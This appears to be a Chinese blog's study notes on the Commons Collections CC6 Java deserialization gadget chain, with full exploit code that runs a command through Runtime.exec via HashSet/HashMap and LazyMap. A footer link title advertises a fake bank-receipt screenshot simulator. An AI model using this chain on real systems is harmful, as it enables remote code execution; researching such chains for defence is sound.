首页 > 编程语言 >java反序列化----CC6利用链学习笔记(HashMap和HashSet)

java反序列化----CC6利用链学习笔记(HashMap和HashSet)

时间:2023-11-19 19:00:10浏览次数:33  
标签:java HashMap Object import new 序列化 class

目录

java反序列化----CC6利用链学习笔记

环境配置

jdk8(无版本要求)
pom.xml中写入

        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>

利用链

CC6在CC5的基础上稍作更改,CC5是用toString方法去触发getValue,而CC6是用hashCode方法触发getValue
需要URLDNS和CC5链的基础,再加上CC2的先用无害链触发的思路
java反序列化----URLDNS利用链学习
java反序列化----CC5利用链学习笔记
java反序列化----CC2利用链学习笔记(PriorityQueue和TemplatesImpl)
前半部分代码

        String cmd = "calc.exe";
        //构造恶意调用链
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap hashMap = new HashMap();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test");

这里采用URLDNS链的思路,使用HashMap的put方法
现在我们需要找到一个类,重写了readObject方法并且调用了put方法
HashSet类是一个选择(或者用URLDNS链的基础可知,直接使用HashMap也可以)

所以再添加上这些就可以弹出计算器了

/*      //或者
        HashMap exp = new HashMap();
        exp.put(tiedMapEntry,"value");
*/
        HashSet hashSet = new HashSet();
        hashSet.add(tiedMapEntry);

        ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("cc6.txt"));
        oss.writeObject(tiedMapEntry);

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc6.txt"));
        ois.readObject();

但是很容易发现在序列化的过程中就弹出计算器
用CC2无害链触发

package cc6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;

public class CC6 {
    public static void main(String[] args) throws Exception{
        //先利用无害利用链触发掉
        Transformer[] transformers = new Transformer[] {new
                ConstantTransformer(1)};
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap innerMap = new HashMap();
        LazyMap outerMap = (LazyMap) LazyMap.decorate(innerMap,chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"key");
/*
        //方法1:
        HashMap exp = new HashMap();
        exp.put(tiedMapEntry,"value");
 */
        //方法2:
        HashSet exp = new HashSet();
        exp.add(tiedMapEntry);

        //构造恶意调用链
        String cmd = "calc.exe";
        Transformer[] transformers2 = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };

        //将chainedTransformer用反射将无害链替换成恶意链
        Class c = ChainedTransformer.class;
        Field field = c.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer,transformers2);

        //序列化
        ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("cc6.txt"));
        oss.writeObject(exp);

        //反序列化
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc6.txt"));
        ois.readObject();

    }
}

但此时发现直接无法弹出计算器了
通过查看HashSet的源码发现其add方法本质上就是HashMap的put方法

然后查看LazyMap的get方法
if (map.containsKey(key) == false)
要通过if条件,需要本身没有密钥,所以可以用remove方法去除密钥
再添上 outerMap.remove("key");

所以最终EXP:

package cc6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;

public class CC6 {
    public static void main(String[] args) throws Exception{
        //先利用无害利用链触发掉
        Transformer[] transformers = new Transformer[] {new
                ConstantTransformer(1)};
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap innerMap = new HashMap();
        LazyMap outerMap = (LazyMap) LazyMap.decorate(innerMap,chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"key");
/*
        //方法1:
        HashMap exp = new HashMap();
        exp.put(tiedMapEntry,"value");
 */
        //方法2:
        HashSet exp = new HashSet();
        exp.add(tiedMapEntry);

        outerMap.remove("key");

        //构造恶意调用链
        String cmd = "calc.exe";
        Transformer[] transformers2 = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };

        //将chainedTransformer用反射将无害链替换成恶意链
        Class c = ChainedTransformer.class;
        Field field = c.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer,transformers2);

        //序列化
        ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("cc6.txt"));
        oss.writeObject(exp);

        //反序列化
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc6.txt"));
        ois.readObject();

    }
}

标签:java,HashMap,Object,import,new,序列化,class
From: https://www.cnblogs.com/thebeastofwar/p/17842405.html

相关文章

  • 建设招商农业邮政工商一体化模拟器,回执单转账余额截图都可以,JAVA模拟代码!
    闲着用JAVA研究了一个模拟器,但是我加了水印的,这个你做不了啥坏事,主要就是学习一下我写的代码和代码的实现逻辑,包括“主类和模块”还有“截图生成模块”以及“信息的输入和处理”三大模块,说复杂不复杂,说简单也不简单,下面框架图是网上找的,需要和代码相互结合才能实现具体的效果。UI......
  • Java 基础题
    文章目录前言一、关键类二、主要方法1.方法2.引用方式总结前言在统计中常常出现求百分比的情况,之前有介绍过sql求百分比的方法。这里记录一下Java求两个数百分比的方法。提示:以下是本篇文章正文内容,下面案例可供参考一、关键类1.DecimalFormat2.Math二、主要......
  • [CTF/Web] PHP 反序列化学习笔记
    Serialize&unserialize这两个方法为PHP中的方法,参见serialize和unserialize的官方文档.以下内容中可能存在字段,属性,成员三个名词误用/混用,但基本都表示属性文章仍在完善之中,SESSION反序列化漏洞要学废了入门我们先看看方法的序列化之后的字符串的......
  • 南昌航空大学BLOG-2Java总结
    题目列表   前言、Java基础作业总结在Java基础作业中,我们学习了Java的基本语法、数据类型、运算符、流程控制等内容。通过作业的练习,我对Java的基础知识有了更深入的理解。在这次作业中,我发现了自己在一些基础知识上的不足,比如对于数据类型的理解不够深刻,对于流程控制的......
  • 【Java基础】异或特点+交换变量数值+数组反转
    异或特点二进制位不同为true,相同为false一个数被另外一个数异或两次,该数不变交换变量数值利用上述异或第2个特点实现交换两个整数类型变量数值代码publicclassXor{publicstaticvoidmain(String[]args){inta=10,b=4;a=a^b;......
  • Java登陆第九天——JDBC
    JDBCJDBC本身是Java提供的一套标准接口,由不同数据库厂商提供接口的具体实现。至此,开发者只需调用JDBC就可以完成对各种数据库的操作。mysql-jdbc-maven坐标<!--Mysql版本:5.7.36--><dependency><groupId>mysql</groupId><artifactId>mys......
  • java反序列化----CC5利用链学习笔记
    java反序列化----CC5利用链学习笔记目录java反序列化----CC5利用链学习笔记环境配置利用链TiedMapEntryBadAttributeValueExpException参考文章环境配置jdk8u(无java版本要求)pom.xml中写入<dependency><groupId>commons-collections</groupId>......
  • 【Java基础】数组的动态初始化
    数组动态初始化:手动指定数组长度,系统为数组自动分配默认初始化值格式:数据类型[]数组名=new数据类型[长度];默认值的分类:整数:0小数:0.0布尔:false字符:'\u0000'(Unicode字符,常见的体现是空白字符)引用数据类型(数组、类、接口):null......
  • Java是一种高级编程语言,
    Java是一种高级编程语言,由SunMicrosystems(后来被Oracle收购)的詹姆斯·高斯林(JamesGosling)等人开发。Java的设计目标是实现“一次编写,随处运行”的理念,即通过一次编写程序,可以在多个平台上运行,而无需对程序进行修改。Java的发展可以追溯到20世纪90年代初。在当时,Sun公司致力于开......
  • JavaScript-进度事件
    进度事件的种类进度事件用来描述资源加载的进度,主要由AJAX请求、<img>、<audio>、<video>、<style>、<link>等外部资源的加载触发,继承了ProgressEvent接口。它主要包含以下几种事件。abort:外部资源中止加载时(比如用户取消)触发。如果发生错误导致中止,不会触发该事件。error:由于错......